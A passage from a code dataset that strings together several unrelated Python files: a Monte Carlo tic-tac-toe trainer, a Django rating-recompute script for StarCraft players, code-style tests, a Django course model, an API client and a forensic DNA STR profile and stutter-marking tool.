0)\n print(reward)\n num += 1\n if num % 10 == 0:\n print(np.sum(np.array(results)) / num, num)\n with lock:\n with open('mont_state_results.p', mode='rb') as f:\n state_results_copy = pickle.load(f)\n with open('mont_state_samples.p', mode='rb') as f:\n state_samples_copy = pickle.load(f)\n with open('mont_state_values.p', mode='rb') as f:\n state_values_copy = pickle.load(f)\n\n\n def dsum(dict1, dict2, dict3):\n ret = collections.defaultdict(float)\n\n for k, v in dict2.items():\n ret[k] += dict1[k] + dict2[k] - dict3[k]\n if dict2[k] != 0 and ret[k] == 0:\n ret[k] = dict2[k]\n return ret\n\n\n state_results = dsum(state_results_copy, state_results, state_results_old)\n state_samples = dsum(state_samples_copy, state_samples, state_samples_old)\n state_values = {**state_values, **state_values_copy}\n\n with lock:\n with open('mont_state_results.p', mode='wb') as f:\n pickle.dump(state_results, f)\n with open('mont_state_values.p', mode='wb') as f:\n pickle.dump(state_values, f)\n with open('mont_state_samples.p', mode='wb') as f:\n pickle.dump(state_samples, f)\n\n with open('mont_state_results_copy.p', mode='wb') as f:\n pickle.dump(state_results, f)\n with open('mont_state_values_copy.p', mode='wb') as f:\n pickle.dump(state_values, f)\n with open('mont_state_samples_copy.p', mode='wb') as f:\n pickle.dump(state_samples, f)\n\n state_results_old = copy(state_results)\n state_samples_old = copy(state_samples)\n state_values_old = copy(state_values)\n","sub_path":"xo_game/train_monte_carlo.py","file_name":"train_monte_carlo.py","file_ext":"py","file_size_in_byte":4839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"525125574","text":"#!/usr/bin/python\n\n'''\nThis script will recompute the ratings for a given period.\n\n./period.py <period_id>\n\nThe script will yield an error message if there are untreated matches from previous periods, or if previous\nperiods are marked as not computed.\n\nIf you recompute all the ratings, consider commenting the last line (call to domination.py), see the comment\nfor more details.\n'''\n\nimport sys, os\nfrom numpy import *\n\n# This is required for Django imports to work correctly\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"aligulac.settings\")\n\nfrom django.db import connection, transaction\nfrom django.db.models import Q, F\nfrom ratings.models import Period, Player, Rating, Match\nfrom ratings.tools import filter_active_ratings, start_rating\nfrom aligulac.parameters import RATINGS_INIT_DEV, RATINGS_MIN_DEV, RATINGS_DEV_DECAY,\\\n OFFLINE_WEIGHT, KR_START, KR_END, KR_RATE\n\nfrom rating import update, performance\nfrom ratings.tools import cdf\n\n# Parameters for rating computation\nRACES = 'PTZ'\nEXRACES = 'M' + RACES # 'M' is 'MEAN'\n\nKR_RATING = start_rating('KR', int(sys.argv[1]));\n\n# This is a meta class holding information about rating computation\nclass CPlayer:\n def __init__(self):\n self.prev_rating = dict() # A dict mapping EXRACES to ratings\n self.prev_dev = dict() # A dict mapping EXRACES to RDs\n self.oppc = [] # Opponent categories\n self.oppr = [] # Opponent ratings\n self.oppd = [] # Opponent RDs\n self.W = [] # Number of wins\n self.L = [] # Number of losses\n self.player = None # Django Player object\n self.prev_rating_obj = None # Django previous Rating object\n\n # Returns previous ratings in an array\n def get_rating_array(self):\n ret = []\n for r in EXRACES:\n ret.append(self.prev_rating[r])\n return array(ret)\n\n # Returns previous RDs in an array\n def get_dev_array(self):\n ret = []\n for r in EXRACES:\n ret.append(self.prev_dev[r])\n return array(ret)\n\ndef get_new_players(cplayers, period, prev):\n \"\"\"Collects information about all new players, and adds them to the cplayers dict if not already there.\"\"\"\n\n players = Player.objects.filter(Q(match_pla__period=period) | Q(match_plb__period=period))\n if prev is not None:\n players = players.exclude(rating__period=prev)\n\n for player in players.distinct():\n cp = CPlayer()\n cp.player = player\n cp.prev_rating_obj = None\n\n # Fill in the previous rating information\n for r in EXRACES:\n cp.prev_rating[r] = 0.0\n cp.prev_dev[r] = RATINGS_INIT_DEV\n\n if player.country == 'KR':\n cp.prev_rating['M'] = KR_RATING\n\n # Add to the dict\n cplayers[player.id] = cp\n\ndef get_existing_players(cplayers, prev):\n \"\"\"Collects information about all players already rated, and adds them to the cplayers dict.\"\"\"\n\n ratings = Rating.objects.filter(period=prev).select_related('player')\n for rating in ratings:\n cp = CPlayer()\n cp.player = rating.player\n cp.prev_rating_obj = rating\n\n # Fill in the previous rating information\n for r in RACES:\n cp.prev_rating[r] = rating.get_rating(r)\n cp.prev_dev[r] = rating.get_dev(r)\n cp.prev_rating['M'] = rating.get_rating()\n cp.prev_dev['M'] = rating.get_dev()\n\n # Add to the dict\n cplayers[rating.player.id] = cp\n\ndef decay_dev(cp):\n \"\"\"Decays the RD of a player.\"\"\"\n for r in EXRACES:\n cp.prev_dev[r] = min(sqrt(cp.prev_dev[r]**2 + RATINGS_DEV_DECAY**2), RATINGS_INIT_DEV)\n\ndef get_matches(cplayers, period):\n \"\"\"\n Collects all results during a period and adds them to the cplayer objects.\n Returns the number of games played.\n \"\"\"\n\n # Useful meta function to add a match to a cplayer object\n def add(cp_my, cp_op, rc_my, rc_op, sc_my, sc_op, weight=1.0):\n cp_my.oppc.append(RACES.index(rc_op))\n cp_my.oppr.append(cp_op.prev_rating['M'] + cp_op.prev_rating[rc_my])\n cp_my.oppd.append(sqrt(cp_op.prev_dev['M']**2 + cp_op.prev_dev[rc_my]**2))\n cp_my.W.append(weight * sc_my)\n cp_my.L.append(weight * sc_op)\n\n # Counter for number of games\n ngames = 0\n\n # Loop over all matches\n matches = Match.objects.filter(period=period).select_related('pla', 'plb')\n for m in matches:\n # Get cplayer objects\n cpa = cplayers[m.pla.id]\n cpb = cplayers[m.plb.id]\n\n # Set the played races for each player. For the vast majority of matches this should be a single item\n # list per player. When a player plays as random, or an unrecognized race, it will be treated as even\n # weight over all the three races\n rcas = [m.rca] if m.rca in RACES else RACES\n rcbs = [m.rcb] if m.rcb in RACES else RACES\n weight = float(1)/len(rcas)/len(rcbs)\n\n if m.offline:\n weight *= OFFLINE_WEIGHT\n\n # For each race combination, add information to the cplayer objects\n for ra in rcas:\n for rb in rcbs:\n add(cpa, cpb, ra, rb, m.sca, m.scb, weight)\n add(cpb, cpa, rb, ra, m.scb, m.sca, weight)\n\n # Count games\n ngames += m.sca + m.scb\n\n return ngames\n\ndef array_to_dict(ar):\n \"\"\"Transforms a rating/RD dict to an array.\"\"\"\n d = dict()\n d['M'] = ar[0]\n d['P'] = ar[1]\n d['T'] = ar[2]\n d['Z'] = ar[3]\n return d\n\n# Main code for this script\nif __name__ == '__main__':\n # Get period\n try:\n period = Period.objects.get(id=int(sys.argv[1]))\n except:\n print('No such period.')\n sys.exit(1)\n\n print('Period {0}: from {1} to {2}'.format(period.id, period.start, period.end))\n\n # Check that all previous periods are computed\n prev = Period.objects.filter(id__lt=period.id, computed=False)\n if prev.exists():\n print('Previous period #%i not computed. Aborting.' % prev[0].id)\n sys.exit(1)\n\n # Find the previous period if it exists\n try:\n prev = Period.objects.get(id=period.id-1)\n except:\n prev = None\n\n # Get all cplayer objects\n cplayers = dict()\n if prev:\n get_existing_players(cplayers, prev)\n get_new_players(cplayers, period, prev)\n\n # Update RDs since a period has passed\n for cp in cplayers.values():\n decay_dev(cp)\n\n # Collect match information\n num_games = get_matches(cplayers, period)\n print('Initialized: {0} players and {1} games. Updating...'.format(len(cplayers), num_games))\n\n # Update ratings\n num_retplayers = 0\n num_newplayers = 0\n for cp in cplayers.values():\n (newr, newd) = update(cp.get_rating_array(), cp.get_dev_array(),\n array(cp.oppr), array(cp.oppd), array(cp.oppc), array(cp.W), array(cp.L),\n cp.player.tag, False)\n\n cp.new_rating = array_to_dict(newr)\n cp.new_dev = array_to_dict(newd)\n\n perf = performance(array(cp.oppr), array(cp.oppd), array(cp.oppc), array(cp.W), array(cp.L))\n\n cp.comp_rat = array_to_dict(perf)\n\n # Count player as returning or new\n if len(cp.W) > 0 and cp.prev_rating_obj:\n num_retplayers += 1\n elif len(cp.W) > 0:\n num_newplayers += 1\n #sys.exit(0)\n\n # Get a table of existing rating objects\n existing = set()\n for i in Rating.objects.filter(period=period).values('player_id'):\n existing.add(i['player_id'])\n\n # Write ratings to database\n print('Saving ratings and bookkeping...')\n\n update_qvals, insert_qvals = [], []\n for cp in cplayers.values():\n tup = (cp.new_rating['M'], cp.new_rating['P'], cp.new_rating['T'], cp.new_rating['Z'],\n cp.new_dev['M'], cp.new_dev['P'], cp.new_dev['T'], cp.new_dev['Z'],\n cp.comp_rat['M'], cp.comp_rat['P'], cp.comp_rat['T'], cp.comp_rat['Z'])\n\n if cp.player.id not in existing:\n to = insert_qvals\n tup += tup[0:8]\n else:\n to = update_qvals\n\n if len(cp.W) == 0 and cp.prev_rating_obj is not None:\n tup += (cp.prev_rating_obj.decay+1,)\n else:\n tup += (0,)\n\n tup += (cp.player.id, period.id)\n to.append(tup)\n\n cursor = connection.cursor()\n cursor.executemany('''UPDATE ratings_rating \n SET rating=%s, rating_vp=%s, rating_vt=%s, rating_vz=%s,\n dev=%s, dev_vp=%s, dev_vt=%s, dev_vz=%s,\n comp_rat=%s, comp_rat_vp=%s, comp_rat_vt=%s, comp_rat_vz=%s,\n decay=%s\n WHERE player_id=%s AND period_id=%s''', update_qvals)\n cursor.executemany('''INSERT INTO ratings_rating \n (rating, rating_vp, rating_vt, rating_vz,\n dev, dev_vp, dev_vt, dev_vz,\n comp_rat, comp_rat_vp, comp_rat_vt, comp_rat_vz,\n bf_rating, bf_rating_vp, bf_rating_vt, bf_rating_vz,\n bf_dev, bf_dev_vp, bf_dev_vt, bf_dev_vz,\n decay, player_id, period_id)\n VALUES\n (%s, %s, %s, %s,\n %s, %s, %s, %s,\n %s, %s, %s, %s,\n %s, %s, %s, %s,\n %s, %s, %s, %s,\n %s, %s, %s)''', insert_qvals)\n\n # Set all matches to treated\n Match.objects.filter(period=period).update(treated=True)\n\n # Compute OP/UP race\n def mean(a):\n return sum([f.rating for f in a])/len(a)\n rp = mean(Rating.objects.filter(period=period, player__race='P', decay__lt=4).order_by('-rating')[:5])\n rt = mean(Rating.objects.filter(period=period, player__race='T', decay__lt=4).order_by('-rating')[:5])\n rz = mean(Rating.objects.filter(period=period, player__race='Z', decay__lt=4).order_by('-rating')[:5])\n sp = cdf(rp-rt) + cdf(rp-rz)\n st = cdf(rt-rp) + cdf(rt-rz)\n sz = cdf(rz-rp) + cdf(rz-rt)\n period.dom_p = sp\n period.dom_t = st\n period.dom_z = sz\n\n # Write some period statistics\n period.num_retplayers = num_retplayers\n period.num_newplayers = num_newplayers\n period.num_games = num_games\n period.computed = True\n period.needs_recompute = False\n period.save()\n\n # Write ranks\n ratings = list(filter_active_ratings(Rating.objects.filter(period=period)))\n for index, rating in enumerate(sorted(ratings, key=lambda r: r.rating, reverse=True)):\n rating.position = index + 1\n for index, rating in enumerate(sorted(ratings, key=lambda r: r.rating + r.rating_vp, reverse=True)):\n rating.position_vp = index + 1\n for index, rating in enumerate(sorted(ratings, key=lambda r: r.rating + r.rating_vt, reverse=True)):\n rating.position_vt = index + 1\n for index, rating in enumerate(sorted(ratings, key=lambda r: r.rating + r.rating_vz, reverse=True)):\n rating.position_vz = index + 1\n for rating in ratings:\n rating.save()\n\n # Recompute the hall of fame\n # NOTE: If you compute several periods after one another, it might be wise to comment this and run it only\n # after the last rating computation, as it takes time to run and adds up quickly.\n # os.system('./domination.py')\n","sub_path":"aligulac/period.py","file_name":"period.py","file_ext":"py","file_size_in_byte":11600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"414164523","text":"# rewind-client talks to rewind, an event store server.\n#\n# Copyright (C) 2012 Jens Rantil\n#\n# This program is distributed under the MIT License. See the file LICENSE.txt\n# for details.\n\n\"\"\"Test code format and coding standards.\"\"\"\nfrom __future__ import print_function\nimport os\nimport pep8\nimport pep257\nimport unittest\n\n\nclass TestCodeFormat(unittest.TestCase):\n\n \"\"\"Tests that asserts code quality.\"\"\"\n\n @classmethod\n def setUpClass(cls):\n \"\"\"Create a list of all Python files in Rewind.\"\"\"\n cls._pyfiles = cls._get_all_pyfiles()\n\n @staticmethod\n def _get_all_pyfiles():\n \"\"\"Return a list of all Python files in Rewind.\"\"\"\n while not os.getcwd().endswith('rewind'):\n os.chdir('..')\n os.chdir('..')\n\n pyfiles = []\n for dirpath, _, filenames in os.walk('rewind'):\n pyfiles.extend([os.path.join(dirpath, filename)\n for filename in filenames\n if filename.endswith('.py')])\n assert len(pyfiles) > 0, os.getcwd()\n return pyfiles\n\n def testPep8Conformance(self):\n \"\"\"Test that we conform to PEP8.\"\"\"\n pep8style = pep8.StyleGuide()\n result = pep8style.check_files(self._pyfiles)\n\n # Currently two E301:s fail. I find those checks to be\n # buggy and will report them to the pep8 project on github.\n self.assertEqual(result.total_errors, 0,\n \"Found code syntax errors (and warnings).\")\n\n def testPep257Conformance(self):\n \"\"\"Test that we conform to PEP257.\"\"\"\n errors = pep257.check_files(self._pyfiles)\n if errors:\n print(\"There were errors:\")\n for error in errors:\n print(error)\n self.assertEquals(len(errors), 0)\n\n def testLogbookIsGone(self):\n \"\"\"Make sure we no longer use the name \"logbook\".\n\n \"logbook\" was the early working project name that later became\n \"rewind\".\n\n \"\"\"\n errmsg = \"'{0}' contained 'logbook' although it shouldn't\"\n for pyfile in self._pyfiles:\n if pyfile.endswith('/test_code.py'):\n continue\n with open(pyfile) as f:\n pythoncode = f.read()\n assert \"logbook\" not in pythoncode.lower(), errmsg.format(pyfile)\n\n def test_license_header(self):\n \"\"\"Testing all source files contains license header.\"\"\"\n needle = \"MIT License\"\n for pyfile in self._pyfiles:\n with open(pyfile) as f:\n haystack = f.read()\n msg = \"{0} did not contain license header\"\n self.assertTrue(needle in haystack, msg.format(pyfile))\n","sub_path":"rewind/client/test/test_code.py","file_name":"test_code.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"70534619","text":"from __future__ import unicode_literals\nfrom django.db import models\n\n\nclass CourseManager(models.Manager):\n def course_validator(self, postData):\n errors = {}\n # first_name check\n if len(postData['name']) < 5:\n errors['name'] = 'name has to be more than 5 character'\n if len(postData['desc']) < 15:\n errors['desc'] = 'descriptio has to be more than 15 chars'\n return errors\n\n\nclass Course(models.Model):\n name = models.CharField(max_length=255)\n desc = models.TextField()\n created_at = models.DateTimeField(auto_now_add=True)\n objects = CourseManager()\n \n def repr(self):\n return \"<Course objects: {}, {}, {}>\".format(self.name, self.desc, self.created_at)\n ","sub_path":"Django/courses/main/apps/courses/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"503641560","text":"import requests\nimport datetime as dt\nfrom src.typeDefs.rawPairAnglesCreationResp import RawPairAnglesCreationResp\n\n\nclass RawPairAnglesCreationHandler():\n rawPairAnglesCreationUrl = ''\n\n def __init__(self, rawPairAnglesCreationUrl):\n self.rawPairAnglesCreationUrl = rawPairAnglesCreationUrl\n\n def createRawPairAngles(self, startDate: dt.datetime, endDate: dt.datetime) -> RawPairAnglesCreationResp:\n \"\"\"create raw pair angles using the api service\n\n Args:\n startDate (dt.datetime): start date\n endDate (dt.datetime): end date\n\n Returns:\n RawPairAnglesCreationResp: Result of the raw pair angles creation operation\n \"\"\"\n createRawPairAnglesPayload = {\n \"startDate\": dt.datetime.strftime(startDate, '%Y-%m-%d'),\n \"endDate\": dt.datetime.strftime(endDate, '%Y-%m-%d')\n }\n res = requests.post(self.rawPairAnglesCreationUrl,\n json=createRawPairAnglesPayload)\n\n operationResult: RawPairAnglesCreationResp = {\n \"isSuccess\": False,\n 'status': res.status_code,\n 'message': 'Unable to create raw pair angles...'\n }\n\n if res.status_code == requests.codes['ok']:\n resJSON = res.json()\n operationResult['isSuccess'] = True\n operationResult['message'] = resJSON['message']\n else:\n operationResult['isSuccess'] = False\n try:\n resJSON = res.json()\n operationResult['message'] = resJSON['message']\n except ValueError:\n operationResult['message'] = res.text\n return operationResult\n","sub_path":"src/services/rawPairAnglesCreationHandler.py","file_name":"rawPairAnglesCreationHandler.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"280912568","text":"import math\nimport csv\nimport os, sys\nimport unittest\n\n\nloci = [\"AMEL\", \"D3S1358\", \"D1S1656\", \"D2S441\", \"D10S1248\",\n \"D13S317\", \"Penta E\", \"D16S539\", \"D18S51\", \"D2S1338\", \"CSF1PO\",\n \"Penta D\", \"TH01\", \"vWA\", \"D21S11\", \"D7S820\", \"D5S818\",\n \"TPOX\", \"DYS391\", \"D8S1179\", \"D12S391\", \"D19S433\", \"FGA\", \"D22S1045\"]\n\nchannel_dictionary = {\n \"Sample Name\": \"\", \"AMEL\": \"Blue\", \"D3S1358\": \"Blue\",\n \"D1S1656\": \"Blue\", \"D2S441\": \"Blue\", \"D10S1248\": \"Blue\",\n \"D13S317\": \"Blue\", \"Penta E\": \"Blue\", \"D16S539\": \"Green\",\n \"D18S51\": \"Green\", \"D2S1338\": \"Green\", \"CSF1PO\": \"Green\",\n \"Penta D\": \"Green\", \"TH01\": \"Yellow\", \"vWA\": \"Yellow\",\n \"D21S11\": \"Yellow\", \"D7S820\": \"Yellow\", \"D5S818\": \"Yellow\",\n \"TPOX\": \"Yellow\", \"DYS391\": \"Yellow\", \"D8S1179\": \"Red\",\n \"D12S391\": \"Red\", \"D19S433\": \"Red\", \"FGA\": \"Red\", \"D22S1045\": \"Red\"}\n\n\nclass AlleleUnit:\n\n def __init__(self, allele, locus=None):\n if allele in [\"X\", \"Y\", \"INC\", \"OB\", \"OL\"]:\n self.locusType = \"Character\"\n self.allele = allele\n else:\n self.locusType = \"Number\"\n bps, reps = math.modf(float(allele))\n self.basepairs = round(bps * 10)\n self.repeats = int(reps)\n self.basepairsPerRepeat = self.assign_bp_per_repeat(locus)\n\n self.locus = locus\n\n def assign_bp_per_repeat(self, locus):\n if locus is not None:\n return self.look_up_bp_in_repeat(locus)\n else:\n return 0\n\n nonTetramerDict = {\"Penta D\": 5, \"Penta E\": 5, \"D22S1045\": 3}\n\n def confirm_locus(self, locus):\n return (locus in loci)\n \n def look_up_bp_in_repeat(self, locus):\n if locus in self.nonTetramerDict:\n return self.nonTetramerDict[locus]\n else:\n return 4\n\n def convert_to_bp(self):\n return (self.repeats * self.basepairsPerRepeat) + self.basepairs\n\n def convert_to_repeats(self, repeats):\n return float(str(repeats//self.basepairsPerRepeat)+\".\"+str(repeats%self.basepairsPerRepeat))\n\n def __eq__(self, other):\n return self.__str__() == other.__str__()\n\n def __ne__(self, other):\n return (not self.__eq__(other))\n\n def __lt__(self, other):\n if self.locusType == \"Character\" or other.locusType == \"Character\":\n return self.__str__() < other.__str__()\n else:\n return float(self.__repr__()) < float(other.__repr__())\n\n def __hash__(self):\n return hash(self.__repr__())\n\n def __repr__(self):\n if self.locusType == \"Number\":\n if self.basepairs != 0:\n allele = str(self.repeats)+\".\"+str(self.basepairs)\n else:\n allele = str(self.repeats)\n else:\n allele = self.allele\n return allele\n\n def __str__(self):\n if self.locusType == \"Number\":\n if self.basepairs != 0:\n allele = \"Allele: \"+str(self.repeats)+\".\"+str(self.basepairs)\n else:\n allele = \"Allele: \"+str(self.repeats)\n else:\n allele = \"Allele: \"+self.allele\n return allele\n\n def add(self, other):\n basepairs1 = self.convert_to_bp()\n basepairs2 = other.convert_to_bp()\n totalBasepairs = basepairs1 + basepairs2\n self.repeats = totalBasepairs//self.basepairsPerRepeat\n self.basepairs = totalBasepairs%self.basepairsPerRepeat\n\n def subtract(self, other):\n basepairs1 = self.convert_to_bp()\n basepairs2 = other.convert_to_bp()\n totalBasepairs = basepairs1 - basepairs2\n self.repeats = totalBasepairs//self.basepairsPerRepeat\n self.basepairs = totalBasepairs%self.basepairsPerRepeat\n\n\n\nclass Profile:\n \"\"\"\n The Profile class expects a list of strings.\n The first string is the sample name\n and the rest are the loci as strings.\n It expects comma seperated alleles.\n It accepts profiles as Genotypes or Phenotypes\n it internally converts them to phenotypes.\n \"\"\"\n\n def __init__(self, profilesArray, mixName=None):\n \"\"\"\n Work on this section I am trying to make it so that I can take multiple input profiles\n or just one profile and if multiple combine them, then process the profiles as usual\n if multiple it should get a mixName and apply that to the mixture\n\n mixName should be the same as the mix name in the sample name So that it can be looked up\n as in does mixName appear in sample name in case multiple mixtures are found in a single\n plate of data\n \"\"\"\n\n # I want to throw an error if there are multiple profiles but no mixName\n self.mixName = mixName\n tempProfileArray = []\n if len(profilesArray) > 1:\n tempProfileArray = list(map(\",\".join,zip(*profilesArray)))\n else:\n tempProfileArray = profilesArray[0]\n\n self.sampleName, profileArray = tempProfileArray[0], tempProfileArray[1:]\n if mixName != None:\n self.sampleName = self.mixName\n\n profileArray = [profile.split(',') for profile in profileArray]\n\n profileArray = list(zip(loci, profileArray))\n alleleArray = [[AlleleUnit(allele, locus[0]) for allele in locus[1]]for locus in profileArray]\n alleleArrayToPhenotype = []\n\n for locus in alleleArray:\n tempLocus = list(set(locus))\n tempLocus.sort()\n alleleArrayToPhenotype.append(tempLocus)\n\n self.profile = dict(zip(loci, alleleArrayToPhenotype))\n\n def combineWith(self, other):\n for value in self.profile:\n tempValuesSelf = self.profile[value]\n tempValuesOther = other.profile[value]\n tempValuesSelf.extend(tempValuesOther)\n\n tempValuesSelf = list(set(tempValuesSelf))\n tempValuesSelf.sort()\n if AlleleUnit(\"INC\") in tempValuesSelf and len(tempValuesSelf) > 1:\n tempValuesSelf.remove(AlleleUnit(\"INC\"))\n self.profile[value] = tempValuesSelf\n return self.profile\n\n def __str__(self):\n header = \"Sample Name\\t\"+\"\\t\".join(loci)\n profilePrint = self.sampleName+\"\\t\"\n for locus in loci:\n alleles = self.profile[locus]\n if len(alleles) > 1:\n alleles = [allele.__repr__() for allele in alleles]\n profilePrint = profilePrint+\",\".join(alleles)\n profilePrint = profilePrint+\"\\t\"\n else:\n profilePrint = profilePrint+alleles[0].__repr__()+\"\\t\"\n return header+\"\\n\"+profilePrint+\"\\n\"\n\n\nclass ProfileDB:\n def __init__(self, profileCSVFile):\n tempProfilesList = []\n with open(profileCSVFile, newline='') as data:\n data_reader = csv.reader(data, delimiter='\\t')\n for line in data_reader:\n tempProfilesList.append(line)\n self.profilesHeaderRow = tempProfilesList.pop(0)\n tempProfilesDB = []\n for profile in tempProfilesList:\n tempProfile = Profile([profile])\n tempProfilesDB.append(tempProfile)\n self.profilesDB = tempProfilesDB\n\n def getProfile(self, searchName):\n foundProfile = None\n for profile in self.profilesDB:\n if profile != None and profile.sampleName == searchName:\n foundProfile = profile\n return foundProfile\n\n def addMixes(self, mixFile):\n \"\"\"This takes a list of profiles and turns in into a single profile\n that combines all the profiles; profiles are 25 elements\"\"\"\n\n tempMixArray = []\n\n with open(mixFile, newline='') as data:\n data_reader = csv.reader(data, delimiter='\\t')\n for line in data_reader:\n tempMixArray.append(line)\n numProfiles = len(tempMixArray)\n\n\n\n for x in range(1, numProfiles):\n tempMixProfile = None\n tempMixName = tempMixArray[x][0]+\"-\"+tempMixArray[x][1]\n for y in range(2, 2 + int(tempMixArray[x][1])):\n if tempMixProfile == None:\n tempMixProfile = self.getProfile(tempMixArray[x][y])\n tempMixProfile.sampleName = tempMixName\n else:\n combinedProfile = tempMixProfile.combineWith(self.getProfile(tempMixArray[x][y]))\n tempMixProfile.profile = combinedProfile\n\n if tempMixProfile != None:\n self.profilesDB.append(tempMixProfile)\n\n def __str__(self):\n headerRow = \"\\t\".join(self.profilesHeaderRow)+\"\\n\"\n profileDBString = headerRow\n for profile in self.profilesDB:\n tempProfileString = profile.__str__().split(\"\\n\")[1]\n profileDBString += tempProfileString+\"\\n\"\n return profileDBString\n\n\nclass ReportDB:\n \"\"\" follow the ProfileDB class and pull from the stutter flagger file\n this should make up dictionary of file names that have a list made up\n of all the lines that have that file name\n \"\"\"\n\n def __init__(self, file):\n inputFile = []\n self.fileName = file\n\n with open(self.fileName, newline='') as data:\n data_reader = csv.reader(data, delimiter='\\t')\n for line in data_reader:\n inputFile.append(line)\n\n tempHeaderRow = inputFile.pop(0)\n tempHeaderRow[0] = \"#\"\n tempHeaderRow.append(\"NOC\")\n tempHeaderRow.append(\"Type\")\n\n\n self.reportHeaderRow = tempHeaderRow\n\n\n self.report = inputFile\n\n self.Marker = self.reportHeaderRow.index(\"Marker\")\n self.Dye = self.reportHeaderRow.index(\"Dye\")\n self.Size = self.reportHeaderRow.index(\"Size\")\n self.Allele = self.reportHeaderRow.index(\"Allele\")\n self.Sample_Comments = self.reportHeaderRow.index(\"Sample Comments\")\n self.Height = self.reportHeaderRow.index(\"Height\")\n self.NOC = self.reportHeaderRow.index(\"NOC\")\n self.Program_Output = self.reportHeaderRow.index(\"Type\")\n self.profilesInDB = self.profile_codes()\n self.sampleProperties = self.define_sample_properties()\n\n self.sampleList = self.sample_set()\n self.samplesSorted = self.collect_sample_data()\n self.samplePropertiesDict = self.make_properties_dict()\n\n self.samplePullupDict = self.make_pullup_dict()\n\n def profile_codes(self):\n \"\"\"Takes a list of profiles as lines from the input and splits them\n using the underscore character and takes the sample name. This excludes\n the ladder and the Amp Neg samples. All other samples including the\n Amp Pos sample are added to the set.\"\"\"\n\n \"\"\"Changed to use only manually specified profiles for mixtures \n where samples are not in the file name anymore.\"\"\"\n profilesSet = set()\n for sample in self.report:\n profileCode = sample[1].split(\"_\")[1]\n if profileCode not in ['Allelic Ladder', 'Amp Neg']:\n profilesSet.add(profileCode)\n return profilesSet\n\n def sample_set(self):\n \"\"\"This produces a list of all the samples in the input file\n by file name.\"\"\"\n sampleSet = set()\n for line in self.report:\n sampleSet.add(line[1])\n return sampleSet\n\n def collect_sample_data(self):\n \"\"\"This divides the input file into lists by sample file name.\n This is used to feed the data sample by sample through the application.\"\"\"\n dataBySample = []\n\n for sample in self.sampleList:\n sampleDataOnly = []\n for line in self.report:\n if line[1] == sample:\n sampleDataOnly.append(line)\n dataBySample.append(sampleDataOnly)\n return dataBySample\n\n def make_properties_dict(self):\n propertiesDict = {}\n\n for sample in self.sampleList:\n propertiesDict[sample] = SampleProperties(sample)\n return propertiesDict\n\n def make_pullup_dict(self):\n pullupDict = {}\n\n for sample in self.sampleList:\n pullupDict[sample] = SamplePullup(sample)\n return pullupDict\n\n\n def mark_parent_peaks(self, profilesDB):\n \"\"\"This function marks the parent peaks for the current data set.\n This iterates through the lines of the input and marks parent peaks.\n\n It skips the Amelogenin and DYS391 loci.\n\n It checks for the following issues: overlapping, dropout,\n saturation, and ILS failure. While determining if there is dropout it\n sets the flags if dropout is found.\"\"\"\n for sampleSet in self.samplesSorted:\n sampleName = sampleSet[1][1]\n NOC = 1\n if \"Mix\" in sampleSet[1][1].split(\"_\")[1]:\n name = sampleSet[1][1].split(\"_\")[1]\n if len(sampleSet[1][1].split(\"_\")[2].split(\"-\")) == 1:\n NOC = len(sampleSet[1][1].split(\"_\")[3].split(\"-\"))\n else:\n NOC = len(sampleSet[1][1].split(\"_\")[2].split(\"-\"))\n sampleForData = name+\"-\"+str(NOC)\n elif \"Amp_Pos\" in sampleSet[1][1]:\n sampleForData = \"Amp Pos\"\n elif \"Positive\" in sampleSet[1][1]:\n sampleForData = \"Amp Pos\"\n elif \"Amp_Neg\" in sampleSet[1][1]:\n sampleForData = \"Amp Neg\"\n elif \"Ladder\" in sampleSet[1][1]:\n sampleForData = \"Ladder\"\n else:\n sampleForData = sampleSet[1][1].split(\"_\")[1]\n profileForData = profilesDB.getProfile(sampleForData)\n for peak in sampleSet:\n\n peak.append(str(NOC))\n if peak[self.Marker] != '' and sampleForData not in [\"Ladder\", \"Amp Neg\"] \\\n and peak[self.Sample_Comments] not in \\\n [\"ILS Failure\", \"ILS Fails\", \"Misplating Fails\", \"Size Call Failed\"]:\n currentAllele = AlleleUnit(peak[self.Allele])\n\n if currentAllele in profileForData.profile[peak[self.Marker]]:\n peak.append(\"Par\")\n if peak[self.Dye] == \"Blue\":\n self.samplePullupDict[sampleName].Blue.append(peak[self.Size])\n elif peak[self.Dye] == \"Green\":\n self.samplePullupDict[sampleName].Green.append(peak[self.Size])\n elif peak[self.Dye] == \"Yellow\":\n self.samplePullupDict[sampleName].Yellow.append(peak[self.Size])\n elif peak[self.Dye] == \"Red\":\n self.samplePullupDict[sampleName].Red.append(peak[self.Size])\n\n currentPropDict = self.samplePropertiesDict[sampleName].loci[peak[self.Marker]]\n #self.samplePropertiesDict[sampleName].loci[peak[self.Marker]].Peak_BP.append(peak[self.Size])\n currentPropDict.Peak_BP.append(peak[self.Size])\n #self.samplePropertiesDict[sampleName].loci[peak[self.Marker]].Peak_Profiles.append(peak[self.Allele])\n currentPropDict.Peak_Profiles.append(peak[self.Allele])\n #self.samplePropertiesDict[sampleName].loci[peak[self.Marker]].Channel = peak[self.Channel]\n currentPropDict.Channel = peak[self.Dye]\n\n else:\n peak.append(\"X\")\n\n elif \"Fail\" in peak[self.Sample_Comments]:\n peak.append(\"Fail\")\n else:\n peak.append(\"X\")\n\n\n # Rework the following three functions to work with the current structure of the program\n def in_stutter_position(self, parent, position, allele):\n \"\"\"This function determines if a non-parent peak is in stutter position\n based on allele bin.\"\"\"\n locus = allele[self.Marker]\n if allele[self.Allele] not in [\"OL\"]:\n return AlleleUnit(parent,locus).add(AlleleUnit(position,locus)) == AlleleUnit(allele[self.Allele])\n else:\n return False\n\n def is_loci_of_interest(self, locus):\n \"\"\"Determines if the locus is one of the loci we are analyzing in this\n study only for tetramer locations only. Penta D and E and D22S1045 are\n handled separately.\"\"\"\n return locus not in ['', \"AMEL\"]\n\n def is_allele_markable(self, flagData, peak, peakNumber):\n \"\"\"Determines if the current potential stutter peak is markable\n based on the following criteria.\"\"\"\n return 